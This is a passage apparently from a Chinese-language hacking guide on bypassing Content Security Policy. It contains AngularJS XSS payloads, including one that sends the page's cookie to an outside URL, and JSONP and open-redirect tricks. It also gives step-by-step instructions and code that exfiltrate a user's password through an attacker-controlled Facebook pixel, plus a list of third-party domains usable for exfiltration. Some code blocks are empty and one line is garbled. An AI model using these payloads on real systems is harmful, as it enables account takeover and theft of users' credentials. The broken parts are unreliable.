{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html

```
#### 利用 www.google.com 进行开放重定向
以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
滥用 \*.google.com/script.google.com
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
### 第三方端点 + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可用于不同网站的CSP绕过的现成JSONP端点。**
如果**受信任的端点包含开放重定向**,则会发生相同的漏洞,因为如果初始端点是受信任的,则重定向也是受信任的。
### 第三方滥用
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:
| 实体 | 允许的域名 | 能力 |
| ----------------- | ------------------------------------------ | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
如果您在目标的CSP中发现任何允许的域名,您可能能够通过在第三方服务上注册来绕过CSP,并将数据提取到该服务或执行代码。
例如,如果您发现以下CSP:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
或
```
Content-Security-Policy: connect-src www.facebook.com;
```
您应该能够提取数据,类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下,您可以遵循以下一般步骤:
1. 在此处创建一个 Facebook 开发者帐户。
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
3. 转到“设置 -> 基本”,获取您的“应用 ID”。
4. 在您想要提取数据的目标网站中,您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来提取数据。
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
### 通过 RPO(相对路径覆盖)绕过
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
```html
```
浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。
解决方案是确保服务器端不将 `%2f` 视为 `/`,以确保浏览器和服务器之间的一致解释,从而避免此问题。
在线示例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS 执行
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### 缺少 **base-uri**
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
此外,如果 **页面使用相对路径加载脚本**(如 `
ng-app"ng-csp ng-click=$event.view.alert(1337)>